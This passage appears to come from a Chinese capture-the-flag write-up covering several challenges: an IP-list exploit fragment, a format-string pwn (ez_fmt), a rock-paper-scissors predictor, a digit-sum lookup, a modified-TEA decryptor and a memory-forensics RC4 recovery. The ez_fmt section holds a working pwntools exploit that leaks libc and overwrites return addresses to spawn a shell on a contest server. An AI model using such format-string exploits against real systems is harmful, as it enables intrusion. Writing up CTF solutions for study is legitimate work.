        rs(method = 'remote')

    getflag()
    add(b'256.256.256.256',b'137.1.1.1')
    add(b'170.170.170.170',b'137.1.1.1')
    astr = '10101010101010101010101010101010'
    for i in range(tt,tt+1):
        tmp = ''
        for j in range(len(astr)):
            if i == j:
                if astr[j] == '1':
                    tmp += '0'
                else:
                    tmp += '1'
            else:
                tmp += astr[j]
        print(tmp)
        num = int(tmp,2)
        print(hex(num))
        ip = ''
        for x in p32(num)[::-1]:
            ip += str(x) + '.'
        ip = ip[:-1]
        print(ip)
        add(ip,ip)
        getflag()
        show(ip)
        recvflag()
        ctx.close()

ez_fmt

格式化字符串,程序给了栈地址,第一次修改printf返回地址到main,并泄露出libc地址,第二次修改main返回地址到og

from pwn import *
from ctypes import *
import base64
context.log_level = 'debug'
context.endian = 'little'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
rl = lambda s = False : sh.recvline(s)
ti = lambda : sh.interactive()

sh = process('./ez_fmt')
sh = remote('47.104.24.40',1337)
libc = ELF('./libc-2.31.so')
main = 0x0000000000401196
set_zero = 0x000000000401248
ru('for you ')
stack_addr = int(rc(14),16)
payload = '%' + str(5) + 'c' + '%10$hhn' + '%' + str(0x4011-5+1) + 'c' + '%11$hn' + 'a%19$p'
payload = payload.ljust(0x20, ' ')
payload += p64(stack_addr - 8) +p64(stack_addr - 8+1)
print(len(payload))
gdb_script = '''
b printf
c
'''

sd(payload)
ru('a')
libc_base = int(rc(14),16) - 0x24083
og = libc_base + 0xe3b01
print(hex(libc_base)) 
payload = '%' + str((og >> 16)& 0xffff) + 'c' + '%10$hn' + '%' + str((og&0xffff) - (og >> 16)& 0xffff) + 'c' + '%11$hn'
payload = payload.ljust(0x20, ' ')
payload += p64(stack_addr + 0x68+2) +p64(stack_addr + 0x68)
print(hex(og))
print(hex(stack_addr + 0x68))
#gdb.attach(sh, gdb_script)
sd(payload)
ti()
'''

0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

石头剪刀布

通过查看源代码发现,在predict函数中,源代码并没有写完历史数据存储的逻辑,也就是训练集的设置。
由于题目说预测程序有问题,所以猜测预测程序仅将历史数据进行预测,并没有取当前这一次出拳的数据。
所以将predict函数逻辑拆分成添加历史数据(appendlist(my_choice))和真实预测(real_predict(i))两个函数,且先预测再加这一次的出拳数据。
这样的话,我们仅需要统计自己的出拳情况,做到相同的记录,使用相同的算法预测,就可知道这一次的预测结果,对应出拳即可做到次次获胜。
因为源代码跳过了前5此的出拳预测,所以猜测源代码可能是每4次统计一次历史纪录进行预测。

         
import socket
import json
import random
import copy

from sklearn.naive_bayes import MultinomialNB

X_train = []
y_train = []
sequence = []

def create_tcp_client(ip, port):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((ip, port))
    client.setblocking(False)
    return client


def send_and_receive(tcp_client):
    response=''
    try:
        response += tcp_client.recv(1024).decode()
    except BlockingIOError:
        return response
    return response


def train_model(X_train, y_train):
    model = MultinomialNB()
    model.fit(X_train, y_train)
    return model


def predict_opponent_choice(model, X_pred):
    return model.predict(X_pred)


def real_predict(i):
    global  sequence
    model = None
    if i < 5:
        opponent_choice = [random.randint(0, 2)]
    else:
        model = train_model(X_train, y_train)
        opponent_choice = predict_opponent_choice(model, [sequence])
    return opponent_choice


def appendlist(my_choice):
    sequence.append(my_choice)
    if len(sequence)>4:
        ss=copy.deepcopy(sequence)
        X_train.append(ss[:4])
        y_train.append(ss[4])
        sequence.pop(0)

def main(ip,port):
    tcp_client = create_tcp_client(ip, port)
    
    while True:
        response=send_and_receive(tcp_client)
        if '请出拳' in response:
            break

    for i in range(100):
        predicted_move = (real_predict(i)[0]+1)%3
        appendlist(predicted_move)
        tcp_client.sendall((f'{predicted_move}'+'\n').encode())
        response=''
        while True:
            response+=send_and_receive(tcp_client)
            if '请出拳' in response:
                break
            if '结束' in response:
                print(response)
                exit()
            pass
        res=response.split('\n')
        print(res)


main(ip,port)

SpeedUp

问题为求一个大数的各位数字之和,在stackoverflow里面找到这个问题讨论,在第二个回答里面提到了一个在线网站可以用于查询预计算好的数据,搜索“sum of digits of (2^n)!”,在第二页找到A244060,获得n=2^27结果为4495662081,然后直接sha256提交即可
20231219123214
20231219123221

Babyre

tls 两个回调反调试,加密就是一个魔改 TEA,摘出密文密钥写解密即可

#include <stdio.h>
#include <Windows.h>

DWORD key[] = { 0x62, 0x6F, 0x6d, 0x62 };
DWORD cipher[] = { 0x9523F2E0, 0x8ED8C293, 0x8668C393, 0xDDF250BC, 0x510E4499, 0x8C60BD44, 0x34DCABF2, 0xC10FD260 };

void tea_decrypt(DWORD* a1, DWORD* a2) {
    unsigned int v3; // [rsp+44h] [rbp+24h]
    int i; // [rsp+64h] [rbp+44h]
    int j; // [rsp+84h] [rbp+64h]

    v3 = 2421198151 - 4 * 33 * 0x77BF7F99;
    for (i = 0; i < 4; ++i)
    {
        for (j = 0; j < 33; ++j)
        {
            v3 += 0x77BF7F99;
            *a2 -= (((32 * *a1) ^ (*a1 >> 4)) + *a1) ^ (v3 + key[(v3 >> 11) & 3]);
            *a1 -= (((32 * *a2) ^ (*a2 >> 4)) + *a2) ^ (v3 + key[v3 & 3]) ^ v3;
        }
    }
}

int main() {
    for (int i = 0; i < 4; i++)
        tea_decrypt(&cipher[2 * i], &cipher[2 * i + 1]);
    puts((char*)cipher);
}

找到PNG了吗

使用vol3检查该mem得知系统信息为,参考https://www.jianshu.com/p/1f134bf4c20c,构建该版本下的linux profile,进行内存分析
20231219123305
找到一个have_your_fun.jocker,
20231219123318
猜测与本题相关,直接在内存里找,发现160C1840偏移处
20231219123332
找到一段C语言代码,逻辑就是把png图片用RC4加密了,那在内存mem中不能直接拿出png图片,考虑到RC4是流加密,可以先用代码中的key”do_not_care”加密png头部四个字节,然后在mem中搜,即可搜到加密后文件的偏移


int s[256];
    int key_length = strlen((const char*)key);

    for (i = 0; i < 256; i++) {
        s[i] = i;
    }

    for (i = 0; i < 256; i++) {
        j = (j + s[i] + key[i % key_length]) % 256;
        t = s[i];
        s[i] = s[j];
        s[j] = t;
    }

    i = j = 0;
    for (int k = 0; k < data_length; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        t = s[i];
        s[i] = s[j];
        s[j] = t;
        data[k] ^= s[(s[i] + s[j]) % 256];
    }
}
int main()
{
    int clientSocket = socket(AF_INET, SOCK_STREAM, 0);
    if (clientSocket == -1) {
        printf("socket failed!\n");
        return 1;
    }
    struct sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(SERVER_PORT);
    serverAddr.sin_addr.s_addr = inet_addr(SERVER_IP);
    connect(clientSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
    int result = recv(clientSocket, buff, sizeof(buff), 0);
    int a=0;
    char q[10];
    unsigned char key[]="do_not_care";
    unsigned char key2[] = "where_is_the_key";
    FILE* file = fopen("have_your_fun.jocker", "wb");
    if (file == NULL) {
        printf("open file failed!\n");
        return 1;
    }
    unsigned char *str;
    str = (char *) malloc(20000);
    memcpy(str, buff, 20000);
rc4_encrypt_decrypt(key2, str, 20000);
    printf("please give me the key of fun:");
    scanf("%s",q);
    rc4_encrypt_decrypt(key, str, 20000);
  
    fwrite(buff, 1, 20000, file);
    printf("maybe you go wrong");
    fclose(file);
    close(clientSocket);
    return 0;
}

20231219123400
提取出来解密即可获取flag图片
20231219123414